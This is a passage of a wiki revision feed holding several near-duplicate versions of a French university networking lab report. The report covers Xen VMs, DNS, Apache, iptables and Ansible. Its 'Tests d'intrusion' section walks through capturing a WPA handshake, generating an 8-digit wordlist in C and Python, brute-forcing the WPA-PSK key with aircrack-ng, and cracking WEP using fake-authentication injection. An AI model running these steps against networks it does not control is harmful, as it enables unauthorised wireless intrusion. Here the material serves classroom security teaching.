&lt;br /&gt;
  vif = ['mac=00:16:3E:D0:18:F4, bridge=IMA5sc','mac=00:16:3E:D0:18:FE, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
Pour la seconde:&lt;br /&gt;
  vif = [ 'mac=00:16:3E:9A:57:AB, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On augmente également la mémoire à 512M pour les deux.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans la chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
   address 192.168.0.14         # = adresse de private-chlamydiae + 10&lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Dans private-chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   gateway 193.48.57.180       # l'adresse de la VM principale&lt;br /&gt;
   address 192.168.0.4&lt;br /&gt;
 &lt;br /&gt;
Puis les ifdown / ifup habituels, maintenant depuis chlamydiae on peut pinger private-chlamydiae.&lt;br /&gt;
&lt;br /&gt;
Pour faire la mascarade, sur chlamydiae:&lt;br /&gt;
  iptables -P FORWARD DROP&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24&lt;br /&gt;
  iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24&lt;br /&gt;
  echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour rendre la configuration persistante:&lt;br /&gt;
  apt install iptables-persistent &amp;gt; Yes &amp;gt; Yes&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on installe Ansible sur la VM principale (et Python sur la secondaire).&lt;br /&gt;
On crée un inventaire dans /etc/ansible/hosts en séparant l’ensemble des serveurs internes et le notre:&lt;br /&gt;
  ---&lt;br /&gt;
  all:&lt;br /&gt;
    hosts:&lt;br /&gt;
      nous:&lt;br /&gt;
        ansible_host: 192.168.0.4&lt;br /&gt;
    children:&lt;br /&gt;
      serveurs-internes:&lt;br /&gt;
        hosts:&lt;br /&gt;
          192.168.0.[1:6]&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On crée notre clé, que l'on propage sur l'ensemble des serveurs private:&lt;br /&gt;
  ssh-keygen -t rsa&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh 192.168.0.1 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On écrit notre premier playbook qui installe lsb-release et effectue la commande lsb_release -d:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: serveurs-internes&lt;br /&gt;
    tasks:&lt;br /&gt;
    - name: install lsb-release&lt;br /&gt;
      apt: &lt;br /&gt;
        update_cache=yes&lt;br /&gt;
        state=latest&lt;br /&gt;
        name =  { { item } }&lt;br /&gt;
      with_items:&lt;br /&gt;
      - lsb-release&lt;br /&gt;
    - name: test lsb release&lt;br /&gt;
      shell: 'lsb_release -d'&lt;br /&gt;
      register: ps&lt;br /&gt;
    - debug: var=ps.stdout_lines&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
On lance le playbook:&lt;br /&gt;
  ansible-playbook jeu-lsb-release.yml&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:jeu-lsb-release1.png|600px|center]]&lt;br /&gt;
[[Fichier:jeu-lsb-release2.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
====Installation de docker====&lt;br /&gt;
On commence par installer le rôle docker dont on a besoin:&lt;br /&gt;
  ansible-galaxy install geerlingguy.docker (la doc est ici https://github.com/geerlingguy/ansible-role-docker)&lt;br /&gt;
&lt;br /&gt;
Puis on crée notre playbook:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: nous&lt;br /&gt;
    vars:&lt;br /&gt;
      - pip_install_packages:&lt;br /&gt;
        - name: docker&lt;br /&gt;
      - docker_apt_repository: &amp;quot;deb [arch={{ docker_apt_arch }}] https://download.docker.com/linux/debian stretch stable&amp;quot;&lt;br /&gt;
    roles:&lt;br /&gt;
      - geerlingguy.pip&lt;br /&gt;
      - geerlingguy.docker&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
====Création de votre conteneur====&lt;br /&gt;
====Configuration de vos serveurs internes====&lt;br /&gt;
====Equilibreur de charge====&lt;br /&gt;
&lt;br /&gt;
==Tests d’intrusion==&lt;br /&gt;
'''Cassage de mot de passe WPA-PSK par force brute'''&lt;br /&gt;
&lt;br /&gt;
Lors de la 2ème séance:&lt;br /&gt;
&lt;br /&gt;
Nous avons utilisé aircrack-ng pour lancer une recherche sur le mot de passe de l’identification par WPA-PSK en supposant que ce nombre est sur 8 chiffres.&lt;br /&gt;
&lt;br /&gt;
D'abord on vérifie que le Wi-Pi est connecté:&lt;br /&gt;
  ls usb&lt;br /&gt;
Ensuite on récupère le nom de notre interface:&lt;br /&gt;
  iwconfig&lt;br /&gt;
On obtient wlx40a5ef0125e9, si il n'est pas en mode 'Monitor' il est nécessaire de lancer la commande&lt;br /&gt;
  airmon-ng start wlx40a5ef0125e9&lt;br /&gt;
On récupère alors tout les points d'accès accessibles en wifi (et donc l'adresse de la cible) via:&lt;br /&gt;
  airodump-ng wlx40a5ef0125e9&lt;br /&gt;
Ensuite il faut récupérer le paquet OnCheck grâce à la commande suivante où -c permet de préciser le numéro du channel, -bssid l'adresse MAC de la cible et -w le path du fichier où écrire le résultat.&lt;br /&gt;
  airodump-ng -c 2 --bssid 04:DA:D2:9C:50:5D -w ./home/pifou/packedOneCheck wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons généré le dictionnaire, on a réalisé un script en C et un en Python:&lt;br /&gt;
&lt;br /&gt;
Celui en Python s’exécute en 39 s &lt;br /&gt;
  dictfile=open(&amp;quot;dict.txt&amp;quot;,&amp;quot;a&amp;quot;)&lt;br /&gt;
  for i in range(99999999):&lt;br /&gt;
    dictfile.write(str(i)+'\n')&lt;br /&gt;
  dictfile.close()&lt;br /&gt;
&lt;br /&gt;
Celui en C s’exécute en 7 s&lt;br /&gt;
  #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
  int main() {&lt;br /&gt;
    FILE *f;&lt;br /&gt;
    f= fopen(&amp;quot;dictc.txt&amp;quot;, &amp;quot;a&amp;quot;);	&lt;br /&gt;
    for(int i=0;i&amp;lt;=99999999;i++) {&lt;br /&gt;
      fprintf(f, &amp;quot;%08d\n&amp;quot;, i);&lt;br /&gt;
    }&lt;br /&gt;
    fclose(f);&lt;br /&gt;
    return 0;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
On peut alors lancer le cassage à l'aide de:&lt;br /&gt;
  aircrack-ng -a2 -b 04:DA:D2:9C:50:5D -w path_to_dict/dict.txt path_to_packedOneCheck_result/*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wpa-result.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Cassage de clef WEP d’un point d’accès Wifi'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On connaît déjà le nom de notre interface, on peut donc directement lancer la commande suivante pour récupérer le canal et le ssid de notre nouvelle cible:&lt;br /&gt;
  airodump-ng --encrypt xep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Comme précedémment avec le WPA on peut lancer la commande:&lt;br /&gt;
  airodump-ng -c 2 –-bssid 04:DA:D2:9C:50:50 -w Wep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Elle permet de capture les paquets qui transitent sur le réseau, l'objectif est de récupérer le maximum de vecteurs d'initialisation qui seront sauvegardés dans le fichier spécifié. Plus ce nombre de vecteurs est important, plus le cassage de la clé sera facilité. Pour augmenter le débit de paquets intéressants pour nous, on peut effectuer de fausses connexions à la machine cible via la commande:&lt;br /&gt;
  aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:5D wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Une fois le nombre de vecteur suffisants (on a choisit 30 000 pour une question de gain de temps), on peut arrêter ce processus et lancer le cassage avec:&lt;br /&gt;
  aircrack-ng Wep*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient alors le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wep-result.png|600px|center]]&lt;/div&gt;</summary>
		<author><name>Zbriois</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=51751</id>
		<title>TP sysres IMA5sc 2019/2020 G4</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=51751"/>
				<updated>2019-12-09T17:40:48Z</updated>
		
		<summary type="html">&lt;p&gt;Zbriois : /* Serveur SSH */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Installation des systèmes d’exploitation: machine virtuelle Xen==&lt;br /&gt;
'''Lors de la 1ère séance:'''&lt;br /&gt;
&lt;br /&gt;
Nous avons d'abord réserver le nom de domaine via gandi.net: chlamydiae.site.&lt;br /&gt;
&lt;br /&gt;
Ensuite nous allons créer une machine virtuelle sur cordouan grâce à l’hyperviseur Xen.&lt;br /&gt;
On se connecte d'abord en SSH à Cordouan, puis on spécifie le proxy pour pouvoir ensuite récupérer les packages. On peut alors créer l'image de la machine en spécifiant --dhcp car on ne connaît pas encore l’adresse IP.&lt;br /&gt;
&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  export http_proxy=http://proxy.polytech.fr:3128&lt;br /&gt;
  xen-create-image --hostname=chlamidyae --dhcp --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
Adresse MAC obtenue: 00:16:3E:83:27:97&lt;br /&gt;
&lt;br /&gt;
'''Lors de la 2ème séance:'''&lt;br /&gt;
&lt;br /&gt;
Le fichier de configuration de notre machine virtuelle se trouve dans etc/xen/chlamydiae.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance chlamydiae, created&lt;br /&gt;
  # by xen-tools 4.7 on Mon Nov 18 17:11:19 2019.&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/disk.img,xvda2,w',&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/swap.img,xvda1,w',&lt;br /&gt;
                ]&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Physical volumes&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
    &lt;br /&gt;
  #    &lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'chlamydiae'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:D0:18:F4' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
==Architecture réseau==&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
On ajoute d'abord le bridge IMA5sc dans l’ensemble de nos VM&lt;br /&gt;
On leur ajoute également les disks: var, home et les 3 crées par l’autre groupe pour le RAID.&lt;br /&gt;
&lt;br /&gt;
On reboot les VM:&lt;br /&gt;
  xl reboot chlamydiae&lt;br /&gt;
ou&lt;br /&gt;
  xl destroy chlamydiae&lt;br /&gt;
  xl create chlamydiae.cfg&lt;br /&gt;
&lt;br /&gt;
Pour se connecter a une VM:&lt;br /&gt;
  xl console chlamydiae&lt;br /&gt;
&lt;br /&gt;
Pour permettre à la VM d'accéder à internet, on modifie sont etc/network/interfaces:&lt;br /&gt;
  # The primary network interface&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   address 193.48.57.180&lt;br /&gt;
   netmask 255.255.255.240&lt;br /&gt;
&lt;br /&gt;
Puis ifup / ifdown de eth0.&lt;br /&gt;
&lt;br /&gt;
Après l'ajout du gateway, nous arrivons désormais à pinger internet depuis notre machine virtuel, mais aussi à pinger notre VM depuis la Zabeth. Enfin pour pouvoir se connecter en ssh depuis la zabeth sur la VM nous avons modifié le fichier etc/ssh/sshd_config et remplacer la ligne commentée :&lt;br /&gt;
  #PermitRootLogin prohibit-password&lt;br /&gt;
par&lt;br /&gt;
  PermitRootLogin yes&lt;br /&gt;
Il faut ensuite rebooter la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
On fait d'abord la demande de certificat sur Gandi.&lt;br /&gt;
&lt;br /&gt;
Ensuite pour la configuration du DNS:&lt;br /&gt;
- on commence par vérifier que la ligne suivante est bien présente dans le fichier /etc/bind/named.conf.options&lt;br /&gt;
  dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Sur Cordouan on installe de bind9: &lt;br /&gt;
&lt;br /&gt;
   apt install bind9 bind9-host dnsutils&lt;br /&gt;
&lt;br /&gt;
Modification de la configuration de bind9 :&lt;br /&gt;
&lt;br /&gt;
On créé un fichier de configuration de zone chlamydiae.site dans /etc/bind/ avec le contenu suivant : &lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns.chlamydiae.site. root.chlamydiae.site (&lt;br /&gt;
 			3	; Serial&lt;br /&gt;
 			604800	; Refresh&lt;br /&gt;
 			86400	; Retry&lt;br /&gt;
 			2419200	; Expire&lt;br /&gt;
 			604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 	IN	NS	ns.chlamydiae.site.&lt;br /&gt;
 	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @      IN      A       193.48.57.180&lt;br /&gt;
 ns	IN	A	193.48.57.180&lt;br /&gt;
 www	IN	A	193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Faire bien attention  à la fin des nameServer sinon bind9 rajoute automatiquement le nom du domaine&lt;br /&gt;
&lt;br /&gt;
Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;hercule.space&amp;quot; {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/chlamydiae.site&amp;quot;; &lt;br /&gt;
         allow-transfer {217.70.177.40;}; //dns de gandi &lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.&lt;br /&gt;
&lt;br /&gt;
On redémarre serveur bind9 :&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
En cas d'erreur on a accés au log dans /var/log/daemon.log&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net dans votre domain  dans l'onglet glue records ajouté   : &lt;br /&gt;
  name : ns.chlamydiae.site&lt;br /&gt;
  IP address : 193.48.57.180&lt;br /&gt;
&lt;br /&gt;
c'est l'association du serveur DNS créé avec notre adresse IP:&lt;br /&gt;
&lt;br /&gt;
Changement des nameserver  sur gandi.net : &lt;br /&gt;
  DNS 1: ns.chlamydiae.site&lt;br /&gt;
  DNS 2 : ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
===Serveur Apache===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du dossier /var/www/www.chlamydiae.pw&lt;br /&gt;
&lt;br /&gt;
*''' Certification SSL :'''&lt;br /&gt;
&lt;br /&gt;
Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :&lt;br /&gt;
   openssl req -nodes -newkey rsa:2048 -sha256 -keyout chlamydiae.pw.key -out chlamydiae.pw.csr&lt;br /&gt;
&lt;br /&gt;
On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement. &lt;br /&gt;
&lt;br /&gt;
*'''Configuration Apache :'''&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur web dans le fichier /etc/apache2/sites-available/chlamydiae.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:443&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 DocumentRoot /var/www/html/&lt;br /&gt;
                 CustomLog /var/log/apache2/secure_acces.log combined&lt;br /&gt;
 &lt;br /&gt;
                 SSLEngine on&lt;br /&gt;
                 SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt&lt;br /&gt;
                 SSLCertificateKeyFile /etc/ssl/private/hmyserver.key&lt;br /&gt;
                 SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
                 SSLVerifyClient None&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
redirection automatique du port http vers le port https &lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:80&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 Redirect / https://www.chlamydiae.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs Web==&lt;br /&gt;
====Architecture générale de la ferme====&lt;br /&gt;
On commence par créer une seconde machien virtuelle:&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  # export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  # export https_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  # xen-create-image --hostname=private-chlamydiae --ip=ip 192.168.0.4 --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
On peut suivre l'avancement en faisant:&lt;br /&gt;
  tail -f /var/log/xen-tools/private-chlamydiae.log&lt;br /&gt;
&lt;br /&gt;
Ensuite on modifie les fichiers de configuration des 2 machines virtuelles présents dans /etc/xen/ :&lt;br /&gt;
Pour la première (chlamydiae):&lt;br /&gt;
&lt;br /&gt;
  vif = ['mac=00:16:3E:D0:18:F4, bridge=IMA5sc','mac=00:16:3E:D0:18:FE, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
Pour la seconde:&lt;br /&gt;
  vif = [ 'mac=00:16:3E:9A:57:AB, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On augmente également la mémoire à 512M pour les deux.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans la chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
   address 192.168.0.14         # = adresse de private-chlamydiae + 10&lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Dans private-chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   gateway 193.48.57.180       # l'adresse de la VM principale&lt;br /&gt;
   address 192.168.0.4&lt;br /&gt;
 &lt;br /&gt;
Puis les ifdown / ifup habituels, maintenant depuis chlamydiae on peut pinger private-chlamydiae.&lt;br /&gt;
&lt;br /&gt;
Pour faire la mascarade, sur chlamydiae:&lt;br /&gt;
  iptables -P FORWARD DROP&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24&lt;br /&gt;
  iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24&lt;br /&gt;
  echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour rendre la configuration persistante:&lt;br /&gt;
  apt install iptables-persistent &amp;gt; Yes &amp;gt; Yes&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on installe Ansible sur la VM principale (et Python sur la secondaire).&lt;br /&gt;
On crée un inventaire dans /etc/ansible/hosts en séparant l’ensemble des serveurs internes et le notre:&lt;br /&gt;
  ---&lt;br /&gt;
  all:&lt;br /&gt;
    hosts:&lt;br /&gt;
      nous:&lt;br /&gt;
        ansible_host: 192.168.0.4&lt;br /&gt;
    children:&lt;br /&gt;
      serveurs-internes:&lt;br /&gt;
        hosts:&lt;br /&gt;
          192.168.0.[1:6]&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On crée notre clé, que l'on propage sur l'ensemble des serveurs private:&lt;br /&gt;
  ssh-keygen -t rsa&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh 192.168.0.1 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On écrit notre premier playbook qui installe lsb-release et effectue la commande lsb_release -d:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: serveurs-internes&lt;br /&gt;
    tasks:&lt;br /&gt;
    - name: install lsb-release&lt;br /&gt;
      apt: &lt;br /&gt;
        update_cache=yes&lt;br /&gt;
        state=latest&lt;br /&gt;
        name =  { { item } }&lt;br /&gt;
      with_items:&lt;br /&gt;
      - lsb-release&lt;br /&gt;
    - name: test lsb release&lt;br /&gt;
      shell: 'lsb_release -d'&lt;br /&gt;
      register: ps&lt;br /&gt;
    - debug: var=ps.stdout_lines&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
On lance le playbook:&lt;br /&gt;
  ansible-playbook jeu-lsb-release.yml&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:jeu-lsb-release1.png|600px|center]]&lt;br /&gt;
[[Fichier:jeu-lsb-release2.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
====Installation de docker====&lt;br /&gt;
On commence par installer le rôle docker dont on a besoin:&lt;br /&gt;
  ansible-galaxy install geerlingguy.docker (la doc est ici https://github.com/geerlingguy/ansible-role-docker)&lt;br /&gt;
&lt;br /&gt;
Puis on crée notre playbook:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: nous&lt;br /&gt;
    roles:&lt;br /&gt;
      - geerlingguy.docker&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
====Création de votre conteneur====&lt;br /&gt;
====Configuration de vos serveurs internes====&lt;br /&gt;
====Equilibreur de charge====&lt;br /&gt;
&lt;br /&gt;
==Tests d’intrusion==&lt;br /&gt;
'''Cassage de mot de passe WPA-PSK par force brute'''&lt;br /&gt;
&lt;br /&gt;
Lors de la 2ème séance:&lt;br /&gt;
&lt;br /&gt;
Nous avons utilisé aircrack-ng pour lancer une recherche sur le mot de passe de l’identification par WPA-PSK en supposant que ce nombre est sur 8 chiffres.&lt;br /&gt;
&lt;br /&gt;
D'abord on vérifie que le Wi-Pi est connecté:&lt;br /&gt;
  ls usb&lt;br /&gt;
Ensuite on récupère le nom de notre interface:&lt;br /&gt;
  iwconfig&lt;br /&gt;
On obtient wlx40a5ef0125e9, si il n'est pas en mode 'Monitor' il est nécessaire de lancer la commande&lt;br /&gt;
  airmon-ng start wlx40a5ef0125e9&lt;br /&gt;
On récupère alors tout les points d'accès accessibles en wifi (et donc l'adresse de la cible) via:&lt;br /&gt;
  airodump-ng wlx40a5ef0125e9&lt;br /&gt;
Ensuite il faut récupérer le paquet OnCheck grâce à la commande suivante où -c permet de préciser le numéro du channel, -bssid l'adresse MAC de la cible et -w le path du fichier où écrire le résultat.&lt;br /&gt;
  airodump-ng -c 2 --bssid 04:DA:D2:9C:50:5D -w ./home/pifou/packedOneCheck wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons généré le dictionnaire, on a réalisé un script en C et un en Python:&lt;br /&gt;
&lt;br /&gt;
Celui en Python s’exécute en 39 s &lt;br /&gt;
  dictfile=open(&amp;quot;dict.txt&amp;quot;,&amp;quot;a&amp;quot;)&lt;br /&gt;
  for i in range(99999999):&lt;br /&gt;
    dictfile.write(str(i)+'\n')&lt;br /&gt;
  dictfile.close()&lt;br /&gt;
&lt;br /&gt;
Celui en C s’exécute en 7 s&lt;br /&gt;
  #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
  int main() {&lt;br /&gt;
    FILE *f;&lt;br /&gt;
    f= fopen(&amp;quot;dictc.txt&amp;quot;, &amp;quot;a&amp;quot;);	&lt;br /&gt;
    for(int i=0;i&amp;lt;=99999999;i++) {&lt;br /&gt;
      fprintf(f, &amp;quot;%08d\n&amp;quot;, i);&lt;br /&gt;
    }&lt;br /&gt;
    fclose(f);&lt;br /&gt;
    return 0;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
On peut alors lancer le cassage à l'aide de:&lt;br /&gt;
  aircrack-ng -a2 -b 04:DA:D2:9C:50:5D -w path_to_dict/dict.txt path_to_packedOneCheck_result/*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wpa-result.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Cassage de clef WEP d’un point d’accès Wifi'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On connaît déjà le nom de notre interface, on peut donc directement lancer la commande suivante pour récupérer le canal et le ssid de notre nouvelle cible:&lt;br /&gt;
  airodump-ng --encrypt xep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Comme précedémment avec le WPA on peut lancer la commande:&lt;br /&gt;
  airodump-ng -c 2 –-bssid 04:DA:D2:9C:50:50 -w Wep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Elle permet de capture les paquets qui transitent sur le réseau, l'objectif est de récupérer le maximum de vecteurs d'initialisation qui seront sauvegardés dans le fichier spécifié. Plus ce nombre de vecteurs est important, plus le cassage de la clé sera facilité. Pour augmenter le débit de paquets intéressants pour nous, on peut effectuer de fausses connexions à la machine cible via la commande:&lt;br /&gt;
  aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:5D wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Une fois le nombre de vecteur suffisants (on a choisit 30 000 pour une question de gain de temps), on peut arrêter ce processus et lancer le cassage avec:&lt;br /&gt;
  aircrack-ng Wep*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient alors le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wep-result.png|600px|center]]&lt;/div&gt;</summary>
		<author><name>Zbriois</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=51750</id>
		<title>TP sysres IMA5sc 2019/2020 G4</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=51750"/>
				<updated>2019-12-09T17:40:32Z</updated>
		
		<summary type="html">&lt;p&gt;Zbriois : /* Services Internet */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Installation des systèmes d’exploitation: machine virtuelle Xen==&lt;br /&gt;
'''Lors de la 1ère séance:'''&lt;br /&gt;
&lt;br /&gt;
Nous avons d'abord réserver le nom de domaine via gandi.net: chlamydiae.site.&lt;br /&gt;
&lt;br /&gt;
Ensuite nous allons créer une machine virtuelle sur cordouan grâce à l’hyperviseur Xen.&lt;br /&gt;
On se connecte d'abord en SSH à Cordouan, puis on spécifie le proxy pour pouvoir ensuite récupérer les packages. On peut alors créer l'image de la machine en spécifiant --dhcp car on ne connaît pas encore l’adresse IP.&lt;br /&gt;
&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  export http_proxy=http://proxy.polytech.fr:3128&lt;br /&gt;
  xen-create-image --hostname=chlamidyae --dhcp --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
Adresse MAC obtenue: 00:16:3E:83:27:97&lt;br /&gt;
